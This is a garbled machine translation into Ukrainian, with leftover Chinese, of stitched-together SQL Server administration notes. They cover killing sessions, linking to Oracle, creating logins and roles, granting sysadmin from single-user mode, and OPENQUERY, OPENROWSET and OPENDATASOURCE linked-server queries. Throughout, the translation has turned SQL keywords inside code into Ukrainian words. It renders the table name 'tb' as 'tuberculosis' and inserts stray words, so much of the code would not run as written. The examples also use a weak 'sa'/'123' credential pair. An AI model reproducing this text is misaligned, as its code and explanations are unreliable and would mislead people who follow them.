Виберіть окреме ім'я хоста,db_name(dbid),net_address,loginame,program_name
Від майстра... sysprocesses
Виберіть * з gamedb01. Server01.dbo.cabal_character_table, де name='
Свиня
Коли ви видаляєте його, з'являється повідомлення: База даних використовується і не може бути видалена.
Натисніть на базу даних, яку хочете видалити, щоб відкрити переглядач подій.
Вхідні дані:
Використання
Майстер Іди Потім введіть наступне: Оголосити @d Варчар (8000) множина @d= ' ' виберіть @d=@d+ ' вбити
'+Cast(Spid у ролі Варчара)+Char(13) Від майстра... sysprocesses, де dbid=db_id('назва бібліотеки') exec(@d) -- Використовуйте код, щоб спочатку видалити процес, що підключається до цієї бази даних
MSSQL керує Oracle через LinkServer
1) Встановити Oracle на сервер SQL_SERVER 2005 року
9i клієнт. Припустимо, встановити в каталог C:\ora92i\. Якщо D: — це розділ NTFS, потрібно встановити каталог ORACLE Install як ту, що використовується
Підписники мають право запускати, додавати та видаляти.
2) Налаштуйте файл C:\ora92i\network\ADMIN\tnsnames.ora. (Наступний червоний текст є прикладом конфігурації)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(АДРЕСА = (ПРОТОКОЛ = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Виконайте наступну команду в режимі DOS, щоб переконатися, що клієнт ORACLE встановлений правильно.
Користувач/password@ORCL SQL Plus
4) Відкрийте Start - Панель керування - Сервіси та підтверджіть, що сервіс Розподіленого Координатора Транзакцій запущено.
5) Open SQL SERVER Management Studio, ім'я екземпляра (ORCL) - Серверний об'єкт (правий клік) - Новий сервер підключення.
1.
Link server: Запишіть назву зв'язаного сервера, наприклад OracleTest
2. Тип сервера, виберіть інше джерело даних
3. Інтерфейс доступу: Виберіть Oracle Provider для OLE DB
4. Назва продукту: Write Oracle
5. Джерело даних: Огляд
Ім'я сервісу, налаштоване у файлі tnsnames.ora, наприклад ORCL
6. Рядок інтерфейсу доступу: userid=sys як sysdba; пароль=пароль
7. На сторінці Select Options Security використовуйте цей контекст встановлення для встановлення з'єднання:
a) Віддалений вхід: користувач (інший користувач, не системний)
b)
Використовуйте пароль: пароль
8. Встановіть "NT AUTHORITY\SYSTEM" на локальному вході, віддаленій системі користувача та встановіть пароль
9.
Ти впевнений
6) Існує два способи написання SQL
a) Використання синтаксису T-SQL:
ВИБРАТИ * З
OraTest.ERP.BAS_ITEM_CLASS
Зверніть увагу, що при введенні SQL-операторів у SQL Query Analyzer зверніть увагу на китайське перемикання повноширини та півширини
Так!
b) Використовуйте синтаксис PLSQL: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Другий метод доступу приблизно на 50% швидший за перший; Другий метод доступу є безпосередньо підключеним
ORACLE є порівнянним; Перший метод доступу може призвести до несподіваних помилок, таких як: Таблиця не існує, як і поточний користувач
Доступу до столу немає, і так далі.
d) Якщо стовпець, до якого потрібно звертатися, використовує типи даних без точності, обидва ці
Це помилка ORACLE, яку неможливо виправити, і її можна уникнути лише за допомогою спеціальної обробки запитних операторів:
Метадані, надані постачальником OLE DB 'OraOLEDB.Oracle' для стовпців, є непослідовними. Інформація метаданих змінюється під час виконання.
Додано mssql
Видалити користувача та надати дозволи
Використовуйте назву своєї бібліотеки Іди --Додати користувачів Exec sp_addlogin 'Test' — додати логін Виконавчий
sp_grantdbaccess N'test' — що робить її легітимним користувачем поточної бази даних виконавчий sp_addrolemember N'db_owner',
N'test' — надає всі права на власну базу даних --Це створює користувачів, які можуть отримувати доступ лише до власної бази даних та того, що входить у базу даних
Публічна таблиця для гостьових користувачів Іди --Видалити тестового користувача exec sp_revokedbaccess N'test' — Видалити доступ до бази даних
Межа exec sp_droplogin N'test' -- видалити login Якщо ви створюєте його в Enterprise Manager, використовуйте: Enterprise Manager — Безпека
Секс — Правий клік Увійти — Новий вхід Загальні матеріали --Введіть ім'я користувача в ім'я
--Метод автентифікації обирається відповідно до ваших потреб (якщо ви використовуєте автентифікацію Windows, спочатку потрібно створити нового користувача серед користувачів операційної системи)
--У налаштуваннях за замовчуванням виберіть ім'я бази даних, до якого хочете отримати доступ для нового користувача Елемент ролі сервера Не обирай нічого в цьому база даних
Елемент доступу Перевірте назву бази даних, до якої хочете отримати доступ для створеного користувача Дозвольте роль бази даних, відмічайте "публічний", "db_ownew" Звісно, це
Користувач, створений зразком, є таким самим, як і користувач, створений вищезазначеним твердженням.
Останній крок — встановити конкретні права доступу для конкретних користувачів, які можна описати на такий мінімальний приклад:
--Додайте користувачів, яким дозволено доступ лише до вказаної таблиці: exec sp_addlogin 'ім'я користувача', 'пароль', 'ім'я бази даних за замовчуванням'
--додати до бази даних exec sp_grantdbaccess 'ім'я користувача'
--Призначити дозволи для всієї таблиці НАДАТИ ВИБІР , ВСТАВИТИ, ОНОВИТИ , ВИДАЛИТИ в таблиці 1 ДО [ім'я користувача] --Призначити дозволи конкретним стовпцям НАДАТИ ВИБІР , ОНОВИТИ таблицю1(id,AA) ДО [ім'я користувача]
Для конкретних налаштувань безпеки та теоретичних знань, будь ласка, зверніться до допомоги з SQL Online
Фіксований опис ролі бази даних db_owner Майте повні дозволи в базі даних.
db_accessadmin Ви можете додавати або видаляти ідентифікатори користувачів.
db_securityadmin Може керувати повними дозволами, власністю об'єктів, ролями та членством у ролях.
db_ddladmin може видавати ВСІ заяви про DDL, але не GRANT, REEVOKE чи DENY.
db_backupoperator може видавати DBCC, CHECKPOINT та BACKUP оператори.
db_datareader Ви можете вибрати всі дані з будь-якої таблиці користувачів у базі даних.
db_datawriter Ви можете змінити всі дані в будь-якій таблиці користувача в базі даних.
db_denydatareader Ви не можете вибрати жодних даних із жодної таблиці користувачів у базі даних.
db_denydatawriter Ви не можете змінювати жодних даних у жодній таблиці користувачів у базі даних.
Вам слід обрати db_datareader, db_datawriter, db_accessadmin
5. Після запуску екземпляра SQL Server у режимі одного користувача, обліковий запис адміністратора Windows може використовувати інструмент sqlcmd для підключення в режимі автентифікації Windows
SQL Server。 Ви можете використовувати команди T-SQL, такі як "sp_addsrvrolemember", щоб додати існуючий логін до ролі сервера системного адміністратора
Або створити новий обліковий запис для входу. Приклад формулювання такий:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
ІДИ
Додати привілей системного адміністратора
(1) Керування ролями серверів
У SQL Server існують дві основні збережені процедури, які реалізують управління ролями SQL Server:
sp_addsrvrolemember
та sp_dropsrvrolemember
sp_addsrvrolemember Ви можете додати обліковий запис входу до ролі сервера, щоб зробити її учасником цієї ролі сервера. Синтаксис такий: sp_addsrvrolemember
Login, роль
sp_dropsrvrolemember Ви можете видалити обліковий запис входу з ролі сервера, і коли учасника видаляють із ролі сервера, він більше не має цієї ролі сервера
Дозволи встановлені. Синтаксис такий: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'роль'
у це місце
@loginname — це ім'я користувача, який увійшов у систему; @rolename — це роль сервера.
(2) Управління ролями в базі даних
У SQL Server підтримується управління базами даних
Існує шість основних типів збережених процедур, і їхні конкретні значення та синтаксис такі:
sp_addrole: Використовується для створення нової ролі бази даних; sp_addrole
Роль, власник
sp_droprole: Використовується для видалення ролі бази даних із поточної ролі бази даних; sp_droprole роль
sp_helprole:
Він використовується для відображення всієї інформації про всі ролі бази даних у поточній базі даних; sp_helprole ['роль']
sp_addrolemember: Використовувався для відправлення в базу даних
Додайте користувачів бази даних до ролі, яка може бути стандартними ролями, визначеними користувачами, або фіксованими ролями бази даних, але не можуть бути такими
Ролі в заявках. sp_addrolemember роль, security_account
sp_droprolemember: Використовується для видалення певного персонажа
домогосподарство; sp_droprolemember роль, security_account
sp_helprolemember: Використовується для відображення всіх членів ролі бази даних
。 sp_helprolemember ['роль']
Запит MSSQL LINKSERVER
---------------------------------------------------------------------------------- -- Автор:
htl258(Тоні) -- Дата: 2010-06-25 22:23:18 -- Версія: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 липня 2008 14:43:34 -- Авторські права (c) 1988-2008 Microsoft Corporation --
Developer Edition для Windows NT 5.1 (Build 2600: Service Pack 2) -- Блог: -- Тема: Операції з SQL-даними між різними серверними базами даних ---------------------------------------------------------------------------------- --1. Створіть сервер посилань --1.1 Створити ім'я посилання EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' ім'я віддаленого сервера
або IP-адресу' — Якщо у вас є власна назва екземпляра, додайте "\instance name"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Створіть логін (або створіть карту входу на сервер посилань) (просто виберіть один спосіб) --1.2.1 Увійти за допомогою автентифікації Windows EXEC sp_addlinkedsrvlogin 'LinkName' --або EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Увійдіть за допомогою SQL-автентифікації EXEC sp_addlinkedsrvlogin 'LinkName','false', NULL,'Username','Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */ --2. Операції з даними, пов'язані з сервером зв'язку --2.1 Приклад запиту SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
З TonyLink.Mydb.dbo.tb */ -- 2.2 Приклад імпорту SELECT * INTO name таблиці FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
З TonyLink.Mydb.dbo.tb */ -- 2.3 Приклад оновлення ОНОВЛЕННЯ LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Особи='g' ДЕ Особи='a' */ -- 2.4 Приклади видалення ВИДАЛИТИ LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb ДЕ Особи='g' */ --3 через функцію рядків (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Метод
- 3.1 Метод OPENQUERY (потребує допомоги щойно створеного вами сервера посилань): -- 3.1.1 Приклад запиту ВИБРАТИ * З OPENQUERY(LinkName, 'ВИБРАТИ * З назви бази даних. Назва архітектури. назва таблиці')
/* Наприклад: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Приклади імпорту --3.1.2.1 Імпортувати всі стовпці INSERT OPENQUERY(LinkName, 'SELECT * FROM name database. Назва архітектури. Назва таблиці
') ВИБРАТИ * З локальної таблиці
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
З TB */ --3.1.2.2 Імпортуйте вказані стовпці INSERT OPENQUERY(LinkName, 'SELECT * FROM name database. Назва архітектури. назва таблиці') (стовпець, стовпець...) Стовпець SELECT,
Колонка... З локальної таблиці
/* Наприклад: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) ВИБЕРІТЬ
ДІАПАЗОН, РІВЕНЬ, особи з туберкульозу */ --3.1.3 Приклади оновлень UPDATE OPENQUERY(LinkName, 'SELECT * FROM name database. Назва архітектури. назва таблиці') поле SET = 'значення' ДЕ слово
Сегмент = «Стан»
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Особи='a' */ --3.1.4 Видалити приклади ВИДАЛИТИ OPENQUERY(LinkName, 'SELECT * З назви бази даних. Назва архітектури. назва таблиці') WHERE name поля='умова'
/*例
Наприклад: ВИДАЛИТИ OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') ДЕ Persons='g' */ --3.2 Метод OPENROWSET (не обов'язково використовувати ім'я створеного посилання.) Якщо ім'я підключеного екземпляра не є стандартною, потрібно встановити ім'я SQL сервера або IP-адресу.
"\instance name") --3.2.1 Приклад запиту --3.2.1.1 Запит методу автентифікації Windows (достатньо одного з наступних методів) ВИБЕРІТЬ * З OPENROWSET('SQLOLEDB', 'server=ім'я sql сервера або
IP-адреса; Trusted_Connection=так', назва бази даних. Назва архітектури. Назва таблиці) ВИБРАТИ * З OPENROWSET('SQLNCLI',
'server=ім'я або IP-адреса сервера sql; Trusted_Connection=так', назва бази даних. Назва архітектури. Назва таблиці) ВИБРАТИ * З
OPENROWSET('SQLOLEDB', 'server=ім'я або IP-адреса сервера sql; Trusted_Connection=yes','SELECT * З бази даних
Ім'я. Назва архітектури. назва таблиці') ВИБЕРІТЬ * З OPENROWSET('SQLNCLI', 'server=ім'я або IP-адреса сервера sql
Адреса; Trusted_Connection=yes','SELECT * з назви бази даних. Назва архітектури. назва таблиці')
/* Наприклад: SELECT * З OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Або: ВИБРАТИ * з openrowset
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
АБО: ВИБРАТИ * З OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
З Mydb.dbo.tb')
Або: ВИБРАТИ * З OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
З Mydb.dbo.tb') */ --3.2.1.2 Запит до методу автентифікації SQL (достатньо одного з наступних методів) ВИБРАТИ * З OPENROWSET
('SQLOLEDB', 'server=ім'я або IP-адреса сервера sql; uid=ім'я користувача; pwd=пароль', назва бази даних. Назва архітектури. Назва таблиці) ВИБРАТИ * З
OPENROWSET('SQLNCLI', 'server=ім'я або IP-адреса сервера sql; uid=ім'я користувача; pwd=пароль', назва бази даних. Назва архітектури. Назва таблиці) ВИБЕРІТЬ * З OPENROWSET('SQLOLEDB', 'server=ім'я або IP-адреса сервера sql; uid=ім'я користувача; pwd=password','SELECT *
З назви бази даних. Назва архітектури. назва таблиці') ВИБРАТИ * З OPENROWSET('SQLNCLI', 'server=ім'я або IP-адреса сервера sql; uid=
Ім'я користувача; pwd=password','SELECT * FROM name database. Назва архітектури. назва таблиці') ВИБРАТИ * З OPENROWSET('SQLOLEDB', 'sql
ім'я сервера'; «ім'я користувача»; 'password', назва бази даних. Назва архітектури. Назва таблиці) ВИБЕРІТЬ * З OPENROWSET('SQLNCLI', 'ІМ'Я SQL СЕРВЕРА
'; «ім'я користувача»; 'password', назва бази даних. Назва архітектури. Назва таблиці) ВИБЕРІТЬ * З OPENROWSET('SQLOLEDB', 'ІМ'Я SQL СЕРВЕРА'; ' користувач
ім'; 'Пароль', 'ВИБРАТИ * З назви бази даних. Назва архітектури. назва таблиці') ВИБРАТИ * з openrowset('sqlncli', 'sql server
ім'; «ім'я користувача»; 'Пароль', 'ВИБРАТИ * З назви бази даних. Назва архітектури. назва таблиці')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Або: ВИБРАТИ * з openrowset
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Або: ВИБРАТИ * з openrowset
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * З Mydb.dbo.tb')
або: ВИБРАТИ * З OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','ВИБРАТИ * З
Mydb.dbo.tb')
або: ВИБРАТИ * З OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
або: ВИБРАТИ * З OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
або: ВИБРАТИ * З OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * З Mydb.dbo.tb')
або: ВИБРАТИ * З OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * З Mydb.dbo.tb') */ --3.2.2 Приклад імпорту --3.2.2.1 Імпортувати всі стовпці ВСТАВИТИ OPENROWSET('SQLOLEDB', 'server=ім'я або IP-адресу сервера sql
Адреса; uid=ім'я користувача; pwd=пароль', назва бази даних. Назва архітектури. Назва таблиці) ВИБРАТИ * З локальної таблиці
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) ВИБРАТИ * З TB */ --3.2.2.2 Імпорт
Вказуйте стовпці ВСТАВИТИ OPENROWSET('SQLOLEDB', 'server=ім'я або IP-адреса сервера sql; uid=ім'я користувача; pwd=пароль', назва бази даних. Стійка
Назва конструкції. Назва таблиці) (стовпець, стовпець...) ВИБРАТИ стовпець, стовпець... З локальної таблиці
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ДІАПАЗОН, РІВЕНЬ, Особи) ВИБЕРІТЬ
ДІАПАЗОН, РІВЕНЬ, особи з туберкульозу */ --Примітка: Для більш альтернативних методів дивіться приклад запиту .2.1, просто замініть функцію OPENROWSET
Зміст достатній. --3.2.3 Приклад оновлення ОНОВИТИ OPENROWSET('SQLOLEDB', 'server=ім'я або IP-адреса sql сервера; uid=ім'я користувача
;p wd=password', назва бази даних. Назва архітектури. Назва таблиці) SET поле = 'значення' ДЕ поле = «умова»
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' ДЕ Особи='a' */ --Примітка: Для більш альтернативних методів зверніться до прикладу запиту .2.1, просто замініть вміст у OPENROWSET. --3.2.4 Видалити показ
Приклад ВИДАЛИТИ OPENROWSET('SQLOLEDB', 'server=ім'я або IP-адреса сервера sql; uid=ім'я користувача; pwd=пароль', назва бази даних. Назва схеми
.table name) WHERE ім'я поля='condition'
/* Наприклад: ВИДАЛИТИ OPENROWSET('SQLOLEDB,'server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) ДЕ
Особи='g' */ --Примітка: Для більш альтернативних методів дивіться приклад запиту .2.1, просто замініть вміст у OPENROWSET. --3.3 Метод OPENDATASOURCE
(Вам не потрібно використовувати ім'я створеного посилання.) Якщо ім'я екземпляра з'єднання не є стандартною, потрібно додати \instance ім'я після імені сервера SQL або IP-адреси
") --3.3.1 Приклад запиту --3.3.1.1 Запит до методу автентифікації Windows (Один із наступних методів достатній) ВИБЕРІТЬ * З OPENDATASOURCE('SQLOLEDB',
'server=ім'я або IP-адреса сервера sql; Trusted_Connection=yes'). Назва бази даних. Назва архітектури. Назва таблиці ВИБРАТИ * З
OPENDATASOURCE('SQLNCLI', 'server=ім'я або IP-адреса сервера sql; Trusted_Connection=yes'). Назва бази даних. Назва архітектури.
Назва таблиці
/* Наприклад: ВИБРАТИ * З OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=так»). Mydb.dbo.tb
Або: ВИБРАТИ * З OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=так»). Mydb.dbo.tb */ --3.3.1.2 Запит до методу автентифікації SQL (достатньо одного з наступних методів) ВИБЕРІТЬ * З OPENDATASOURCE('SQLOLEDB', 'server=ім'я sql сервера або
IP-адреса; uid=ім'я користувача; pwd=пароль'). Ім'я бази даних. Назва архітектури. Назва таблиці ВИБЕРІТЬ * З OPENDATASOURCE('SQLNCLI', 'server=ім'я або IP-адреса сервера sql; uid=користувач
Ім'я; pwd=пароль'). Ім'я бази даних. Назва архітектури. Назва таблиці ВИБРАТИ * З OPENDATASOURCE('SQLOLEDB', 'Data Source=ім'я або IP-адреса сервера sql
Адреса; uid=ім'я користувача; pwd=пароль'). Ім'я бази даних. Назва архітектури. Назва таблиці ВИБРАТИ * З OPENDATASOURCE('SQLNCLI', 'Джерело даних=ім'я або IP-адреса сервера sql
Адреса; uid=ім'я користувача; pwd=пароль'). Ім'я бази даних. Назва архітектури. Назва таблиці
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Або: ВИБРАТИ * З OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Або: ВИБРАТИ * З OPENDATASOURCE('SQLOLEDB,'Data
Джерело=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
АБО: ВИБРАТИ * З OPENDATASOURCE('SQLNCLI','Data
source=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Імпортуйте всі стовпці ВСТАВИТИ OPENDATASOURCE('SQLOLEDB', 'server=ім'я або IP-адресу сервера sql; uid=ім'я користувача; pwd=пароль').
Згідно з назвою бібліотеки. Назва архітектури. Назва таблиці ВИБРАТИ * З локальної таблиці
/* Наприклад: INSERT OPENDATASOURCE('SQLOLEDB,'server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ВИБЕРІТЬ
* З туберкульозу */ --3.3.2.2 Імпортуйте вказані стовпці ВСТАВИТИ OPENDATASOURCE('SQLOLEDB', 'server=ім'я або IP-адресу сервера sql; uid=ім'я користувача; pwd=пароль').
Згідно з назвою бібліотеки. Назва архітектури. Назва таблиці (стовпець, стовпець...) ВИБРАТИ стовпець, стовпець... З локальної таблиці
/* Наприклад: INSERT OPENDATASOURCE('SQLOLEDB,'server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(ДІАПАЗОН, РІВЕНЬ, Особи) ВИБЕРІТЬ ДІАПАЗОН, РІВЕНЬ, Особи з туберкульозу */ --Примітка: Для більш альтернативних методів дивіться приклад запиту .3.1, просто замініть вміст у функції рядкового набору (OPENDATASOURCE). --3.3.3 Приклад оновлення ОНОВИТИ OPENDATASOURCE('SQLOLEDB', 'server=ім'я або IP-адреса sql сервера; uid=ім'я користувача; pwd=пароль'). Ім'я бази даних. Назва архітектури. Назва таблиці SET поле = 'значення' ДЕ поле = «умова»
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' ДЕ Особи='a' */ --Примітка: Для більш альтернативних методів дивіться приклад запиту .3.1, просто замініть вміст у функції рядкового набору (OPENDATASOURCE). --3.3.4 Приклад видалення ВИДАЛИТИ OPENDATASOURCE('SQLOLEDB', 'server=ім'я або IP-адреса сервера sql; uid=ім'я користувача; pwd=пароль'). Ім'я бази даних. Назва архітектури. Назва таблиці WHERE ім'я поля='condition'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ДЕ особи='g' */ - Примітка: Більше альтернатив
Зверніться до прикладу запиту .3.1, просто замініть вміст у функції рядків (OPENDATASOURCE). -- Видалити метод зв'язаного сервера --Якщо ви більше не будете використовувати інформацію про посилання в майбутньому, ви можете видалити інформацію про посилання --4.1 Видалити інформацію про вхід (або видалити карту імен сервера) EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/* Наприклад: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Видалити ім'я зв'язаного сервера EXEC sp_dropserver 'LinkName', 'droplogins' — якщо вказані droplogin, Карту входу потрібно видалити перед видаленням пов'язаного сервера
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Додано
: Як отримати ім'я провайдера (EXEC master). xp_enum_oledb_providers) ВИБРАТИ CAST([Ім'я провайдера] AS
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion ВІД
OPENROWSET( 'SQLOLEDB', 'Сервер=.; Trusted_Connection=так', «ЗАПУСТИТИ FMTONLY; EXEC
Майстре... xp_enum_oledb_providers'
)
|